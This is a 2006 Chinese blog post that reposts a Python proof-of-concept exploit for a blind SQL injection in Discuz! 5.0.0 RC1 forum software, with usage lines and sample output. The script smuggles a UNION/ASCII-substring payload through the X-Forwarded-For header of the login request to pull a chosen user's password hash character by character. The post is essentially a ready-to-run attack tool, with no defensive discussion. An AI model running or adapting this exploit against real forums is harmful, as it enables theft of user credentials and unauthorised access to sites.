Chinaunix首页 | 论坛 | 博客
  • 博客访问: 3160597
  • 博文数量: 797
  • 博客积分: 10134
  • 博客等级: 上将
  • 技术积分: 9335
  • 用 户 组: 普通用户
  • 注册时间: 2006-06-22 22:57
个人简介

1

文章分类

全部博文(797)

文章存档

2022年(1)

2021年(2)

2017年(2)

2016年(1)

2015年(4)

2014年(1)

2013年(6)

2012年(6)

2011年(10)

2010年(26)

2009年(63)

2008年(61)

2007年(51)

2006年(563)

我的朋友

分类: 网络与安全

2006-09-12 00:01:21

信息来源:深白blog
很早就拿到了,看见nspcn的人发了.我也发了吧~

Usage: G:\tt\dz.py  
Example: G:\tt\dz.py 

G:\tt>dz.py  1
Discuz! 5.0.0 RC1 SQL injection exploit
Codz by wofeiwo wofeiwo[0x40]gmail[0x2C]com

[+] Connect target.com
[+] Trying...
[+] Plz wait a long long time...
[+] The uid=1 password hash is:
程序代码 程序代码
 #!/usr/bin/python
# Discuz! 5.0.0 RC1 SQL injection PoC
# Author: wofeiwo thx superheis help
# Date: Aug 12th 2006

import sys 
import httplib
from urlparse import urlparse
from time import sleep

def injection (lenthofpass, realurl, path):
 sys.stdout.write('[+] The uid=' + sys.argv[2] + ' password hash is: ')
 for num in range(1,lenthofpass+1):
 ran = range(97, 123)
 for a in range(48, 58): ran.append(a)

 for i in ran:
 
 query = '\' union select 122,122,122,122,122,122,122,122 from cdb_members where uid=' + sys.argv[2] + ' AND ascii(substring(CONCAT(password),' + str(num) + ',1))=' + str(i) + ' /*'
 header = {'Accept':'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*','Referer':'' + realurl[1] + path + 'logging.php?action=login','Accept-Language':'zh-cn','Content-Type':'application/x-www-form-urlencoded','User-Agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)','Connection':'Keep-Alive','Cache-Control':'no-cache','X-Forwarded-For':query,'Cookie':'cdb_sid=70KRjS; cdb_cookietime=2592000'}
 data = "formhash=6a49b97f&referer=discuz.php&loginmode=&styleid=&cookietime=2592000&loginfield=username&username=test&password=123456789&questionid=0&answer=&loginsubmit=%E6%8F%90+%C2%A0+%E4%BA%A4"
 #print header
 #sys.exit(1)
 http = httplib.HTTPConnection(realurl[1])
 http.request("POST", path + "logging.php?action=login&",data , header)
 #sleep(1)
 response = http.getresponse()
 re1 = response.read()
 if re1.find('Select') == -1:
 print '[-] Unvalnerable host'
 print '[-] Exit..'
 sys.exit(1);
 
 elif re1.find('ip3') == -1:
 sys.stdout.write(chr(i))
 http.close()
 #sleep(1)
 break
 
 #print re1
 #print '-----------------------------------------------'
 http.close()
 #sleep(1)
 sys.stdout.write('\n')

def main ():
 print 'Discuz! 5.0.0 RC1 SQL injection exploit'
 print 'Codz by wofeiwo wofeiwo[0x40]gmail[0x2C]com\n'

 if len(sys.argv) == 3:
 url = urlparse(sys.argv[1])
 if url[2:-1] != '/':
 u = url[2] + '/'
 else: 
 u = url[2]
 else:
 print "Usage: %s  " % sys.argv[0]
 print "Example: %s  1" % sys.argv[0]
 sys.exit(0)
 
 lenth = 32
 print '[+] Connect %s' % url[1]
 print '[+] Trying...'
 print '[+] Plz wait a long long time...'

 injection(lenth, url, u)

 print '[+] Finished'

if __name__ == '__main__': main()

阅读(954) | 评论(1) | 转发(0) |
0

上一篇:测试你的脑年龄

下一篇:baidu的目录。。

给主人留下些什么吧!~~